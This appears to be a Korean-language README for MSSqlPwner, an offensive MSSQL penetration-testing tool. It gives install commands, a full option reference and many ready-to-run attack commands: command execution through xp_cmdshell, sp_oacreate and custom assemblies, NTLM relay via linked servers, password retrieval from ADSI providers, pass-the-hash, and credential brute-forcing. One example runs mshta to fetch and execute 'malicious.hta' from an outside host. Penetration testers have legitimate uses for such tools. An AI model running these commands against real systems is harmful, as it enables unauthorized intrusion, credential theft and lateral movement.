
고급 MSSQL 침투 테스트 도구로, 연결된 서버와 다중 인증 방식을 통한 수평 이동, 명령 실행, NTLM 릴레이 및 무차별 대입 공격을 수행합니다.
MSSqlPwner는 고급 다기능 침투 테스트 도구로, MSSQL 서버와 원활하게 상호작용하고 공격(pwn)할 수 있도록 설계되었습니다. 이 도구는 impacket을 기반으로 하여, 공격자가 평문 비밀번호, NTLM 해시, Kerberos 티켓을 사용하여 데이터베이스에 인증할 수 있게 해줍니다. MSSqlPwner를 사용하면 사용자 지정 어셈블리(custom assembly), xp_cmdshell, sp_oacreate(Ole Automation Procedures) 등 다양한 방법을 통해 사용자 지정 명령을 실행할 수 있습니다.
이 도구는 연결된 서버(linked servers)와 가능한 가장(impersonation)에 대한 재귀적 열거(recursive enumeration)로 시작하여 명령 실행을 위한 가능한 모든 체인을 수집합니다.
또한 MSSqlPwner 도구는 xp_dirtree, xp_subdirs, xp_fileexist와 같은 함수를 활용하여 NTLM 중계(relay) 기능을 제공합니다.
이 도구는 측면 이동(lateral movement) 평가 및 연결된 서버 탐색에 사용할 수 있습니다.
인증된 MSSQL 사용자에게 특정 작업을 실행할 권한이 없는 경우, 도구는 명령 실행을 허용하는 올바른 체인을 찾을 수 있습니다. 예를 들어, 현재 컨텍스트에서 사용자가 명령을 실행할 수 없는 경우, 도구는 링크 서버를 사용하여 권한이 상승된(privileged) 상태로 우리 서버에 다시 연결되는 체인을 구축합니다.
mssqlpwner를 시작하는 것은 매우 간단합니다. 저장소에서 직접 가져올 수 있습니다:
pip install 'mssqlpwner@git+https://github.com/ScorpionesLabs/MSSqlPwner.git'
또는 pipx를 사용하는 것이 좋습니다. 다음 명령을 실행하세요:
pipx install 'git+https://github.com/ScorpionesLabs/MSSqlPwner.git'
그리고 이제 새로운 즐겨찾기 도구를 사용할 수 있습니다:
mssqlpwner -hashes ':0CB6948805F797BF2A82807973B89537' 'Administrator'@172.16.2.12 -windows-auth interactive
이 도구는 여러 인증 방법을 지원하며 아래에 설명되어 있습니다.
이 도구는 보안 전문가 및 연구자가 테스트 목적으로만 사용하도록 설계되었으며, 불법적인 목적으로 사용해서는 안 됩니다.
interactive: 도구를 대화형 모드로 사용하여 실시간 실행 가능.enumerate: 연결된 서버와 체인을 열거.get-chain-list 체인 목록을 가져옴:
-filter-hostname HOSTNAME - 특정 호스트명으로 결과 필터링.get-link-server-list 연결된 서버 목록을 가져옴.set-chain 체인 ID 설정 (대화형 모드 전용!)
CHAIN - 설정할 체인 ID.set-link-server 링크 서버 설정 (대화형 모드 전용!)
LINK - 설정할 링크 서버.get-rev2self-queries SELF로 되돌리기 위한 쿼리 검색 (대화형 모드 전용!).get-adsi-provider-list ADSI 공급자 목록 검색.rev2self SELF로 되돌리기 (대화형 모드 전용!).exec 로컬 서버 또는 연결된 서버에서 exec를 사용하여 명령 실행
COMMAND - 실행할 명령.-command_execution_method - 사용할 명령 실행 방법.
xp_cmdshell - xp_cmdshell 프로시저를 사용하여 명령 실행 (기본값).sp_oacreate - Ole Automation Procedure 프로시저를 사용하여 명령 실행 ("cmd /c something" 형식으로 사용해야 함).retrieve-password ADSI 공급자로부터 비밀번호 검색.
-listen-port - 수신 대기 포트 (기본값: 1389).-adsi-provider - 사용할 ADSI 공급자 (정의되지 않으면 자동 선택).-arch - 사용할 아키텍처 (정의되지 않으면 자동 선택).
x86 - x86 아키텍처 사용.x64 - x64 아키텍처 사용.ntlm-relay - 서버로 NTLM 중계 강제 수행.
SMB_SERVER - 중계할 SMB 서버.-relay-method - 사용할 중계 방법.
xp_dirtree - xp_dirtree 프로시저 사용 (기본값).xp_subdirs - xp_subdirs 프로시저 사용.xp_fileexist - xp_fileexist 프로시저 사용 (상황에 따라 이 모듈은 권한 있는 체인에서 실행해야 함).custom-asm - 사용자 지정 어셈블리를 사용하여 프로시저 실행
COMMAND - 사용할 명령/경로 또는 쿼리.-procedure-name - 사용할 프로시저 이름 (기본값: execute_command).
execute_command - 사용자 지정 어셈블리를 사용하여 명령 실행 (기본값).run_query - 사용자 지정 어셈블리를 사용하여 쿼리 실행.run_query_system_service - 시스템 사용자(SqlSVC 등)로 사용자 지정 어셈블리를 사용하여 쿼리 실행.inject-custom-asm 사용자 지정 어셈블리를 사용하여 코드 주입.
file_location - 주입할 파일 위치.-procedure-name - 사용할 프로시저 이름 (기본값: Inject).direct-query 직접 쿼리 실행QUERY - 실행할 쿼리.-query-method - 사용할 쿼리 방법.
OpenQuery - OpenQuery 프로시저 사용 (기본값).exec_at - exec AT 프로시저 사용.brute 무차별 대입 실행 (티켓, 해시 및 비밀번호 수신 가능)TARGETS_FILE - 호스트와 IP가 포함된 파일.-ul - 사용자 목록 파일.-pl - 비밀번호 목록 파일.-tl - 티켓 목록 파일.-hl - 해시 목록 파일.-link-name - 사용할 링크 서버 이름-chain-id - 사용할 체인 ID-max-link-depth - 사용할 최대 링크 깊이 (기본값: 10)-max-impersonation-depth - 사용할 최대 가장 깊이 (기본값: 10)-auto-yes - 모든 질문에 자동으로 '예'라고 답변 (기본값: False)-timeout - 사용할 시간 초과 (기본값: 30)MSSqlPwner는 측면 이동 평가 및 연결된 서버 탐색 기회를 제공합니다. 현재 세션에 관리자 권한이 없는 시나리오에서 도구는 연결된 서버를 통해 자신의 권한을 상승시키는 체인을 찾으려고 시도합니다. 연결된 서버의 세션이 더 높은 권한을 가진 경우, 도구는 해당 연결된 서버와 상호작용하고 상승된 권한으로 호스트로 다시 연결되는 링크 쿼리를 수행하여 대상 서버와의 측면 이동을 가능하게 합니다.
다양한 인증 방법을 지원합니다:
도구는 다양한 시나리오와 환경에 적응하며 인증 메커니즘의 효율성을 검증합니다.
MSSqlPwner 도구의 강력함과 다양성을 활용하여 MSSQL 환경 평가를 한 단계 높이십시오. MSSqlPwner 도구를 사용하여 측면 이동, 은밀한 쿼리, 정확한 보안 평가의 새로운 가능성을 발견하십시오.
# 대화형 모드
mssqlpwner corp.com/user:[email protected] -windows-auth interactive
# 가장 깊이 2레벨의 대화형 모드
mssqlpwner corp.com/user:[email protected] -windows-auth -max-impersonation-depth 2 interactive
# Windows 인증으로 현재 서버에서 사용자 지정 어셈블리 실행 후 hostname 명령 실행
mssqlpwner corp.com/user:[email protected] -windows-auth custom-asm hostname
# Windows 인증으로 현재 서버에서 SRV01 연결된 서버의 hostname 명령 실행
mssqlpwner corp.com/user:[email protected] -windows-auth -link-name SRV01 custom-asm hostname
# 연결된 SRV01 서버에서 저장 프로시저를 사용하여 hostname 명령 실행
mssqlpwner corp.com/user:[email protected] -windows-auth -link-name SRV01 exec hostname
# 연결된 SRV01 서버에서 sp_oacreate 방법으로 hostname 명령 실행
mssqlpwner corp.com/user:[email protected] -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate
# SRV01 서버에 NTLM 중계 공격 수행
mssqlpwner corp.com/user:[email protected] -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250
# 체인 ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25에 NTLM 중계 공격 수행
mssqlpwner corp.com/user:[email protected] -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250
# 로컬 서버에 사용자 지정 명령으로 NTLM 중계 공격 수행
mssqlpwner corp.com/user:[email protected] -windows-auth ntlm-relay 192.168.45.250
# 직접 쿼리 실행
mssqlpwner corp.com/user:[email protected] -windows-auth direct-query "SELECT CURRENT_USER"
# 연결된 서버 DC01에서 비밀번호 검색
mssqlpwner corp.com/user:[email protected] -windows-auth -link-server DC01 retrive-password
# 연결된 서버 DC01에서 사용자 지정 어셈블리로 코드 실행
mssqlpwner corp.com/user:[email protected] -windows-auth -link-server DC01 inject-custom-asm SqlInject.dll
# hosts.txt에 나열된 호스트에 대해 티켓, 해시, 비밀번호를 사용한 무차별 대입
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt
# hosts.txt에 나열된 호스트에 대해 해시와 비밀번호를 사용한 무차별 대입
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt
# hosts.txt에 나열된 호스트에 대해 티켓만 사용한 무차별 대입
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt
# hosts.txt에 나열된 호스트에 대해 비밀번호만 사용한 무차별 대입
mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt
# hosts.txt에 나열된 호스트에 대해 해시만 사용한 무차별 대입
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt